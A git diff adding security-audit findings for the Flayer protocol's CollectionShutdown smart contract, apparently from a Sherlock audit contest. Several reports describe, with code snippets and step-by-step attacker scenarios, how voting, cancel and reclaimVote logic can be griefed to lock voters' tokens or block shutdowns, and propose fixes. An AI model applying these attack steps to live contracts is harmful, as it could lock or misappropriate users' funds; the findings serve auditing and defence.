diff --git a/.gitignore b/.gitignore
deleted file mode 100644
index 3fbffbb..0000000
--- a/.gitignore
+++ /dev/null
@@ -1,10 +0,0 @@
-*
-!*/
-!/.data
-!/.github
-!/.gitignore
-!/README.md
-!/comments.csv
-!*.md
-!**/*.md
-!/Audit_Report.pdf
diff --git a/001/017.md b/001/017.md
new file mode 100644
index 0000000..810d05c
--- /dev/null
+++ b/001/017.md
@@ -0,0 +1,112 @@
+Lone Coconut Cat
+
+Medium
+
+# Collection Shutdown Can Be Cancelled Through Griefing
+
+## Summary
+
+Attempts to sunset a collection can be averted through griefing post-quorum.
+
+## Vulnerability Detail
+
+A `CollectionToken` may be sunset by the [`CollectionShutdown`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol) contract via a permissionless vote via a call to [`start(address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L135C14-L135C40).
+
+The voting period [can only be started when the collection has a limited circulating supply](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L143C9-L147C116):
+
+```solidity
+// Get the total number of tokens still in circulation, specifying a maximum number
+// of tokens that can be present in a "dormant" collection.
+params.collectionToken = locker.collectionToken(_collection);
+uint totalSupply = params.collectionToken.totalSupply();
+if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+```
+
+If the vote reaches quorum, it is then possible to shut down the collection.
+
+This is [gated by the `canExecute` flag](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L234C9-L234C67):
+
+```solidity
+// If we can execute, then we need to fire another event
+if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true; /// @audit collection can be shutdown
+ emit CollectionShutdownQuorumReached(_collection);
+}
+```
+
+**However, it is possible for a vote to be canceled post-quourm via the** [`cancel(address)`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L390C14-L390C41) **function**, if the supply of `collectionToken` has increased:
+
+```solidity
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum(); /// @audit vote must have passed
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) { /// @audit the permissionless circulating supply of tokens controls gating
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+Notice then, that the number of tokens currently in circulation has the ability to control whether the post-vote quorum can be cancelled.
+
+An attacker could therefore permissionlessly mint more tokens to satisfy the threshold for cancellation and invalidate the vote prior to finalization by the protocol owner, then immediately liquidate these to reclaim their token.
+
+**Consequently, any attempt to honestly sunset a collection can be terminated through griefing**.
+
+## Impact
+
+Users can be prevented from sunsetting a collection even after a successful vote has taken place, which hinders the capacity of token-aligned stakeholders to administer their collection, for example, to relist the `CollectionToken` for the underlying token with more optimal characteristics (i.e. a lesser/greater denomination).
+
+It should be noted that not even an admin can circumvent this attack; it must again be put to a public vote, which can be similarly circumvented by an attacker.
+
+## Code Snippet
+
+```solidity
+/**
+ * If a shutdown flow has not been triggered and the total supply of the token has risen
+ * above the threshold, then this function can be called to remove the process and prevent
+ * execution.
+ *
+ * This is done to ensure that collections cannot be marked to shutdown in it's infancy and
+ * then as more tokens are added then the shutdown is actioned, rugging people that weren't
+ * aware of the action.
+ *
+ * @param _collection The collection address
+ */
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L379C5-L405C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+When quorum is met for sunsetting a collection, [the protocol `owner` is still required to finalize the process](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L231C77-L231C86).
+
+We advise that invalidating a post-quorum attempt to sunset a collection via a call to `cancel(address)` should similarly be restricted to the discretion of the `owner`.
diff --git a/001/018.md b/001/018.md
new file mode 100644
index 0000000..9cbc8aa
--- /dev/null
+++ b/001/018.md
@@ -0,0 +1,137 @@
+Modern Metal Butterfly
+
+High
+
+# Even after execute has been called, an attacker can reset canExecute to true and cancle to delete the collection which will DOS users claims.
+
+## Summary
+Missing restriction in [```CollectionShutdown::vote```](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L175-L214) function can cause complete DOS of users since it doesn't check that the given collection is already executed.
+
+## Vulnerability Detail
+In ```vote``` function there is a missing check to ensure that the given collection is not yet executed.
+
+Because of this, an attacker can call ```vote``` even after shutdown has been executed, which will set ```params.canExecute = true;``` and can now call cancle to delete the collection's data.
+```javascript
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+```
+
+```javascript
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+Example:
+* Bob is an malicious user, who has just 0.1 of the collection token(0.1 as in e18 decimals, could also be just 1 i.e. dust),
+* The other holders vote to shutdown the collection
+* quorum is reached and execute is triggered, this ```execute``` function will reset the `params.canExecute` to [`false`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L273).
+* Now cancle cannot be called since it checks [`if (!params.canExecute) revert ShutdownNotReachedQuorum();`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L393)
+* But, Bob can easily bypass this by calling `vote` with his 0.1 collection tokens, which will reset `params.canExecute` to [`true`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L208C1-L209C38)
+* Since `params.canExecute` is reset to `true` Bob can now call `cancle` which will delete the collection params [`delete _collectionParams[_collection];`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L403)
+
+Now if the users try to call claim, it will revert because they are calling an empty(deleted) collection data;
+```javascript
+ function claim(address _collection, address payable _claimant) public nonReentrant whenNotPaused {
+ // Ensure our user has tokens to claim
+ uint claimableVotes = shutdownVoters[_collection][_claimant];
+ if (claimableVotes == 0) revert NoTokensAvailableToClaim();
+
+ // Ensure that we have moved token IDs to the pool
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.sweeperPool == address(0)) revert ShutdownNotExecuted();
+
+ // Ensure that all NFTs have sold from our Sudoswap pool
+ if (!collectionLiquidationComplete(_collection)) revert NotAllTokensSold();
+
+ // We can now delete our sweeper pool tokenIds
+ if (params.sweeperPoolTokenIds.length != 0) {
+ delete _collectionParams[_collection].sweeperPoolTokenIds;
+ }
+
+ // Burn the tokens from our supply
+ params.collectionToken.burn(claimableVotes);
+
+ // Set our available tokens to claim to zero
+ delete shutdownVoters[_collection][_claimant];
+
+ // Get the number of votes from the claimant and the total supply and determine from that the percentage
+ // of the available funds that they are able to claim.
+ uint amount = params.availableClaim * claimableVotes / (params.quorumVotes * ONE_HUNDRED_PERCENT / SHUTDOWN_QUORUM_PERCENT);
+ (bool sent,) = _claimant.call{value: amount}('');
+ if (!sent) revert FailedToClaim();
+
+ emit CollectionShutdownClaim(_collection, _claimant, claimableVotes, amount);
+ }
+```
+
+
+## Impact
+Since the collection will be deleted, ```delete _collectionParams[_collection];```, users will not be able to call claim and the eth from selling the nfts will be locked forever in the contract.
+
+## Code Snippet
+```javascript
+ function vote(address _collection) public nonReentrant whenNotPaused {
+ // Ensure that we are within the shutdown window
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
+```javascript
+ params.canExecute = false;
+ emit CollectionShutdownExecuted(_collection, pool, _tokenIds);
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+introduce a new mapping to keep track of executed collections like;
+```mapping(address _collection => bool) public isCollectionExecuted;```
+
+And then use this to keep track of executed collections
+```diff
+function execute(address _collection, uint[] calldata _tokenIds) public onlyOwner whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Ensure we have specified token IDs
+ uint _tokenIdsLength = _tokenIds.length;
+ if (_tokenIdsLength == 0) revert NoNFTsSupplied();
+ ...
+ ...
+
++ isCollectionExecuted[_collection] = true;
+}
+```
+
+Now make sure that the given collection is not yet executed in the `vote` function;
+```diff
+ function vote(address _collection) public nonReentrant whenNotPaused {
+ // Ensure that we are within the shutdown window
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.quorumVotes == 0) revert ShutdownProccessNotStarted();
+
++ if (isCollectionExecuted) revert CollectionAlreadyExecutedUse_voteAndClaim()
+
+ _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
\ No newline at end of file
diff --git a/001/019.md b/001/019.md
new file mode 100644
index 0000000..4721d14
--- /dev/null
+++ b/001/019.md
@@ -0,0 +1,105 @@
+Modern Metal Butterfly
+
+High
+
+# No function for voters to reclaim their collectionTokens incase the shutdown process was canceled before being executed.
+
+## Summary
+Protocol supports cancelation of shutdown process, but fails to return the `collectionTokens` to the voters who already sent the tokens to the contract as a vote.
+
+There is a `reclaimVote` function for voters to unvote, but if voters tries to use this to reclaim collectionTokens incase the shutdown process was canceled, it will revert because the `_collectionParams` is already deleted.
+
+## Vulnerability Detail
+Suppose 4 users vote to shutdown a collection, but there was a new deposit and cancel was triggered for the given collection;
+```javascript
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+But what happens to those voters who voted 4e18 collectionTokens?
+There is not function for them to claim back their collateralTokens.
+
+The [`reclaimVote`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377) function is not for this purpose, but still even if they try to use , it will also revert because;
+as we can see in the [`cancel`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405) function it already deletes the `_collectionParams[_collection]`,
+and therefore `reclaimVote` will revert in the line [`params.shutdownVotes -= uint96(userVotes);`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L369C9-L369C50) because the [`params.shutdownVotes`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L359) is 0.
+
+## Impact
+Voters will not be able to claim back their collectionTokens and hence their nfts are also locked.
+It also doesn't need a malicious intention for this to happen, this can also happen in a very normal situation.
+
+## Code Snippet
+```javascript
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+## Tool used
+Manual Review
+
+## Recommendation
+Introduce a new mapping to keep track of canceled collections and a function for voters to reclaim their collateralTokens;
+
+```javascript
+ mapping (address _collection => bool) public wasCollectionCanceled;
+
+ function reclaimVotesIfCanceled(address _collection) external {
+ if(!wasCollectionCanceled[_collection]) revert collectionNotCanceled();
+
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ delete shutdownVoters[_collection][msg.sender];
+
+ params.collectionToken.transfer(msg.sender, userVotes);
+ }
+
+```
+
+Also set the `wasCollectionCanceled` to true after a collection has been canceled;
+```diff
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+
++ wasCollectionCanceled[_collection] = true;
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
\ No newline at end of file
diff --git a/001/020.md b/001/020.md
new file mode 100644
index 0000000..17ce9e7
--- /dev/null
+++ b/001/020.md
@@ -0,0 +1,147 @@
+Lone Coconut Cat
+
+Medium
+
+# Cancelled Sunset Collections Results In Stuck Tokens
+
+## Summary
+
+When an attempt to sunset a collection is cancelled, users who voted to sunset the collection cannot reclaim their tokens due to numeric underflow.
+
+## Vulnerability Detail
+
+When a user votes to sunset a collection, their token balance is sent to the [`CollectionShutdown`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol) contract and their votes are tracked in the `shutdownVoters` mapping:
+
+```solidity
+function _vote(address _collection, CollectionShutdownParams memory params) internal returns (CollectionShutdownParams memory) {
+ // Take tokens from the user and hold them in this escrow contract
+ uint userVotes = params.collectionToken.balanceOf(msg.sender);
+ if (userVotes == 0) revert UserHoldsNoTokens();
+
+ // Pull our tokens in from the user
+ params.collectionToken.transferFrom(msg.sender, address(this), userVotes); /// @audit user sends entire collectionToken balance
+
+ // Register the amount of votes sent as a whole, and store them against the user
+ params.shutdownVotes += uint96(userVotes); /// @audit shutdownVotes is increased
+
+ // Register the amount of votes for the collection against the user
+ unchecked { shutdownVoters[_collection][msg.sender] += userVotes; } /// @audit user's specific balance is tracked
+
+ emit CollectionShutdownVote(_collection, msg.sender, userVotes);
+
+ // If we can execute, then we need to fire another event
+ if (!params.canExecute && params.shutdownVotes >= params.quorumVotes) {
+ params.canExecute = true;
+ emit CollectionShutdownQuorumReached(_collection);
+ }
+
+ return params;
+}
+```
+
+**Notice that the total** `shutdownVotes` **is tracked against the** `CollectionShutdownParams` struct:
+
+```solidity
+// Register the amount of votes sent as a whole, and store them against the user
+params.shutdownVotes += uint96(userVotes);
+```
+
+Next, remember any actor may permissionlessly cancel the vote to sunset the collection if the vote has met quorum but the circulating supply of the collection has increased since the vote was started:
+
+```solidity
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum(); /// @audit ensure vote has met quorum
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) { /// @audit if the supply has increased, allow cancellation to take place
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection]; /// @audit delete the collectionParams to reset the vote
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+Crucially, we see that **cancelling a collection sunset will** `delete` **the corresponding** `_collectionParams`:
+
+```solidity
+// Remove our execution flag
+delete _collectionParams[_collection];
+```
+
+Invariably, this hinders the ability for owners to reclaim their tokens, since:
+
+```solidity
+function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed(); /// @audit cancellation deleted `params`, `canExecute` is `false`
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender]; /// @audit user has nonzero votes
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+ params.shutdownVotes -= uint96(userVotes); /// @audit `params` was deleted, so `shutdownVotes` is zero resulting in underflow
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+ params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+}
+```
+
+Cancelling a sunset vote deletes the corresponding `CollectionShutdownParams` and resets the `shutdownVotes`, so an attempt to decrease this post-shutdown will result in numeric underflow.
+
+Consequently, the voter may not withdraw their tokens.
+
+> [!NOTE]
+>
+> Technically, a user _could_ withdraw their tokens during a second round of voting. If another user were to vote in favour of sunsetting, with a token balance greater than or equal to the user with stuck funds, the user with stuck funds could reclaim their balance.
+>
+> However, **this would merely misappropriate the funds**, since the new depositor would then be unable to claim their own balance due to underflow.
+
+## Impact
+
+Users who campaigned unsuccessfully to sunset a [`CollectionToken`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/CollectionToken.sol#L109C5-L111C6) are unable to reclaim their tokens.
+
+## Code Snippet
+
+```solidity
+function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+}
+```
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L390C5-L405C6
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Do not persist the `shutdownVotes` for the collection on the `CollectionShutdownParams` struct.
diff --git a/001/021.md b/001/021.md
new file mode 100644
index 0000000..1bf5859
--- /dev/null
+++ b/001/021.md
@@ -0,0 +1,81 @@
+Ripe Zinc Duck
+
+Medium
+
+# Attacker can disable `CollectionShutdown.preventShutdown()` function.
+
+## Summary
+The protocol has function of preventing shudown for a certain collection by admin.
+However, attacker can start shutdown by calling `CollectionShutdown.start()` function with only 1 wei before admin calls `CollectionShutdown.preventShutdown()` function.
+
+## Vulnerability Detail
+The following `CollectionShutdown.preventShudown()` function will revert if shutdown is already in progress.
+```solidity
+ function preventShutdown(address _collection, bool _prevent) public {
+ // Make sure our user is a locker manager
+ if (!locker.lockerManager().isManager(msg.sender)) revert ILocker.CallerIsNotManager();
+
+ // Make sure that there isn't currently a shutdown in progress
+@> if (_collectionParams[_collection].shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Update the shutdown to be prevented
+ shutdownPrevented[_collection] = _prevent;
+ emit CollectionShutdownPrevention(_collection, _prevent);
+ }
+```
+On the other hand, the following `CollectionShutdown.start()` function can be called and succeeded before the collection is initialized by `Locker.initializeCollection()` function.
+```solidity
+ function start(address _collection) public whenNotPaused {
+ // Confirm that this collection is not prevented from being shutdown
+ if (shutdownPrevented[_collection]) revert ShutdownPrevented();
+
+ // Ensure that a shutdown process is not already actioned
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (params.shutdownVotes != 0) revert ShutdownProcessAlreadyStarted();
+
+ // Get the total number of tokens still in circulation, specifying a maximum number
+ // of tokens that can be present in a "dormant" collection.
+ params.collectionToken = locker.collectionToken(_collection);
+ uint totalSupply = params.collectionToken.totalSupply();
+147: if (totalSupply > MAX_SHUTDOWN_TOKENS * 10 ** params.collectionToken.denomination()) revert TooManyItems();
+
+ // Set our quorum vote requirement
+ params.quorumVotes = uint88(totalSupply * SHUTDOWN_QUORUM_PERCENT / ONE_HUNDRED_PERCENT);
+
+ // Notify that we are processing a shutdown
+ emit CollectionShutdownStarted(_collection);
+
+ // Cast our vote from the user
+156: _collectionParams[_collection] = _vote(_collection, params);
+ }
+```
+As can be seen, the above function doesn't check if collection is already initialized and the condition of `L147` will be true because collection is not initialized yet.
+In addition, `_vote()` function of `L156` requires `msg.sender` should hold non-zero `collectionToken`s.
+
+From above reasoning, the following scenario is available.
+1. Admin create collection by calling `Locker.createCollection()` function.
+2. Before admin initialize the collection by calling `Locker.initializeCollection()` function, using frontrun, attacker deposit 1 NFT and receive corresponding `collectionToken`s.
+3. Attacker(`attackerAddress1`) transfer `1 wei` `collectionToken` to some other `attackerAddress2`.
+4. Attacker(`attackerAddress2`) start shutdown by calling `CollectionShutdown.start()` function. It will succeed because number of deposited NFT is only one which is less than `MAX_SHUTDOWN_TOKENS = 4`.
+5. After that, admin can't prevent shutdown for the collection by calling `CollectionShutdown.preventShutdown()` function because there is already a shutdown in progress.
+
+
+## Impact
+Comment of `CollectionShutdown.start()` function has following paragraph:
+```solidity
+ * When the trigger is set, it will only be available for a set duration.
+ * If this duration passes, then the process will need to start again.
+```
+But in fact, there is no such restriction in the current implementation.
+Therefore, once if a shutdown is in progress, it will be available for unlimited time and the `preventShutdown()` function will be DOSed for unlimited time too.
+
+
+## Code Snippet
+- [CollectionShutdown.start()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L124-L157)
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Disable the `CollectionShutdown.start()` function before collection is initialized.
\ No newline at end of file
diff --git a/001/026.md b/001/026.md
new file mode 100644
index 0000000..2472b55
--- /dev/null
+++ b/001/026.md
@@ -0,0 +1,83 @@
+Ripe Zinc Duck
+
+High
+
+# Attacker can lock shutdown voters' collectionTokens forever.
+
+## Summary
+When there are less than `MAX_SHUTDOWN_TOKENS` collection NFTs in the protocol, there will be shutdown vote. When shutdown vote exceeds quorum threshold and can execute, attacker can deposit NFTs to increase totalSupply of collectionTokens and cancel vote. As a result, voters' collectionTokens will be locked forever.
+
+
+## Vulnerability Detail
+The `CollectionShutdown.cancel()` function is following.
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+403: delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+As can be seen, the above function deletes the `_collectionParams[_collection]` in `L403` when totalSupply is larger than `MAX_SHUTDOWN_TOKENS`.
+After shudown vote is canceled, voters should reclaim their votes to refund their voted collectionTokens. However, `CollectionShutdown.reclaimVote()` function is following.
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
+ CollectionShutdownParams storage params = _collectionParams[_collection];
+ if (params.canExecute) revert ShutdownQuorumHasPassed();
+
+ // Get the amount of votes that the user has cast for this collection
+ uint userVotes = shutdownVoters[_collection][msg.sender];
+
+ // If the user has not cast a vote, then we can revert early
+ if (userVotes == 0) revert NoVotesPlacedYet();
+
+ // We delete the votes that the user has attributed to the collection
+369: params.shutdownVotes -= uint96(userVotes);
+ delete shutdownVoters[_collection][msg.sender];
+
+ // We can now return their tokens
+373: params.collectionToken.transfer(msg.sender, userVotes);
+
+ // Notify our stalkers that a vote has been reclaimed
+ emit CollectionShutdownVoteReclaim(_collection, msg.sender, userVotes);
+ }
+```
+As can be seen, since `_collectionParams[_collection]` has been deleted, the above function will revert at `L369` and `L373`.
+As a result, voters' collectionTokens will be locked in the `CollectionShutdown` contract.
+
+PoC:
+1. Assume that `denomination` is 1 and totalSupplay of a collection are `MAX_SHUTDOWN_TOKENS = 4 ethers`.
+2. Shutdown vote starts and the votes can execute since total votes are larger than quorum threshold.
+3. Attacker deposits 1 NFT to the collection and cancel shutdown vote.
+4. Voters' collectionTokens will be locked since they can't reclaim their votes.
+5. Attacker can redeem his NFT if necessary.
+
+
+## Impact
+Attacker can lock shutdown voters' collectionTokens without any risk and loss.
+Since majority amount of collectionTokens are locked, new shutdown vote can't execute again. Therefore, the voters' collectionTokens will be locked forever.
+
+
+## Code Snippet
+- [CollectionShutdown.reclaimVote()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377)
+- [CollectionShutdown.cancel()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405)
+
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add a function to reclaim votes in the case of canceling shutdown vote.
\ No newline at end of file
diff --git a/001/028.md b/001/028.md
new file mode 100644
index 0000000..e7dfd5d
--- /dev/null
+++ b/001/028.md
@@ -0,0 +1,123 @@
+Skinny Pear Crane
+
+High
+
+# Canceling a collection shutdown can cause loss of userVotes of previous users
+
+## Summary
+Issue High: Canceling a collection shutdown can cause loss of userVotes of previous users
+
+## Vulnerability Detail
+
+In the contract `CollectionShutdown.sol`, anyone can cancel a collection shutdown by invoking the function `cancel` when a collection shutdown is not reached Quorum. During the cancelation, the param `_collectionParams[_collection]` will be deleted which will set the `_collectionParams[_collection].shutdownVotes` to be 0.
+
+[CollectionShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L390-L405)
+
+```solidity
+ function cancel(address _collection) public whenNotPaused {
+ // Ensure that the vote count has reached quorum
+ CollectionShutdownParams memory params = _collectionParams[_collection];
+ if (!params.canExecute) revert ShutdownNotReachedQuorum();
+
+ // Check if the total supply has surpassed an amount of the initial required
+ // total supply. This would indicate that a collection has grown since the
+ // initial shutdown was triggered and could result in an unsuspected liquidation.
+ if (params.collectionToken.totalSupply() <= MAX_SHUTDOWN_TOKENS * 10 ** locker.collectionToken(_collection).denomination()) {
+ revert InsufficientTotalSupplyToCancel();
+ }
+
+ // Remove our execution flag
+ delete _collectionParams[_collection];
+ emit CollectionShutdownCancelled(_collection);
+ }
+```
+
+However, after the cancelation of the collection shutdown, the previous users who voted this shutdown can not reclaim their votes and get collection tokens back since the calculation of `params.shutdownVotes -= uint96(userVotes)` will revert due to underflow. That the param `params.shutdownVotes` has already been set to be 0 in the cancelation. This will cause loss to previous voters, since they can not reclaim their votes and lose the collection tokens.
+
+[CollectionShutdown](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/utils/CollectionShutdown.sol#L356-L377)
+
+```solidity
+ function reclaimVote(address _collection) public whenNotPaused {
+ // If the quorum has passed, then we can no longer reclaim as we are pending
+ // an execution.
